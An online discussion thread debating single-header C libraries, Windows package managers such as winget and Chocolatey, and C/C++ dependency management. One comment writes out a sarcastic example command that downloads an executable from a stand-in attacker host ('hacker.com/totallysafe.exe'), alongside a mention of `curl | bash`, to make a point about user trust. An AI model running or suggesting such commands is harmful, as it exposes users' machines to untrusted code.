4 ms·
Every time I see a "single-header C library", I wonder to myself where we'd be if only Windows had a proper package manager. (Especially since that'd force the
by eqvinox 2y ago
Every time I see a "single-header C library", I wonder to myself where we'd be if only Windows had a proper package manager.
(Especially since that'd force the POSIX world to de-fracture itself too.)
- perching_aix 2y ago> a proper package manager Those are a thing? Wasn't aware.
- raymond_goo 2y agoIsn't the one from Rust pretty good?
- perching_aix 2y agoHaven't worked with it much yet, not really my point either. They were talking about OS package managers, most likely the typical Linux package managers, and so did I.
- linkdd 2y agoscoop? chocolatey? pacman in msys2? winget?
- eqvinox 2y agoRemind me please, which of these is shipped with a default Windows install?
- wis 2y agoI realize you asked sarcastically, but as of relatively recently WinGet is shipped by default with the latest versions of Windows 10 and in Windows 11. [1] But why is being installed by default important? [1] https://www.petergirnus.com/blog/how-to-use-windows-package-manager-winget#:~:text=Is%20winget%20included%20in%20Microsoft%20Windows%2010%20%26%20Windows%2011%3F https://www.petergirnus.com/blog/how-to-use-windows-package-...
- kreetx 2y agoIt's an adoption barrier.
- 1oooqooq 2y agomeh. it's not. If you are convincing people to run commands to install packages: - they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw) - they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe http://hacker.com/totallysafe.exe` on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
- frizlab 2y agoIMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer. Too many possibilities made me choose none.
- Conscat 2y agoI know very non-technical people who use Chocolatey for acquiring ffmpeg.
- deleted 2y ago[deleted]
- eqvinox 2y agoIt was only partially sarcastic (yeah that didn't communicate at all, bad habit on my end), I had googled them but didn't quite understand the winget situation at glance. Thanks for the answer, actually appreciated!
- doctorpangloss 2y agoI don't know why you're being downvoted, but distributions for Windows would be really popular. A server distribution of Windows would help its adoption a lot.
- pjmlp 2y agoThe same that shipped with a default UNIX install.
- flohofwoe 2y agoMost of those are for installing applications, not system-wide C library source distributions (e.g. you'll need to figure out the path of the source and header files in build scripts since there's no standard location for that on Windows). The closest thing to a C/C++ package manager standard on Windows is probably vcpkg: https://vcpkg.io/en/ https://vcpkg.io/en/
- colleagueRiley 2y agoWe'd be at the same spot, single-header files are still useful. A single-header file is not a 'full-sized' library compressed into one file it's codebase is designed to actually be minimalist. Many libraries have single files that are the same size as their alternative single-header.
- Philpax 2y agoI wonder where we'd be if we'd stopped relying on system packages to provide dependencies for C / C++. It is positively miserable to have to pollute your system when a codebase written in Go / Rust / your favourite modern language Just Works out of the box.
- linkdd 2y agoWith a central, curated, audited package repository where publishing rights are given to absolutely everyone then supply chain attacks in C and C++ would be even easier.
- IshKebab 2y agoWe'd be in exactly the same place because nobody wants to use an OS-dependent package manager for an OS-agnostic project. I don't know if you noticed but no modern languages use Linux packages to provide dependencies, because that obviously sucks balls for many reasons.
- pjmlp 2y agoWindows is no excuse, because many of "single-header C library" sinners are UNIX only folks, targeting only UNIX platforms. For me it only reveals lack of willingness to learn how to use their tools. I learned how to use C and C++ build systems at the age of 12 years old, when most of the information was on libraries, or whatever folks down at computer club could explain. In a computing landscape much more fragmented than it is today? Do you think combining Windows and UNIX is hard? Try on the glory days of 16 bit home computers. Here we are in the age of information, and some people couldn't be less bothered.
- colleagueRiley 2y agoNope, most people using it know how to link and compile libraries. :)
- pjmlp 2y agoMaybe, but those providing it apparently not.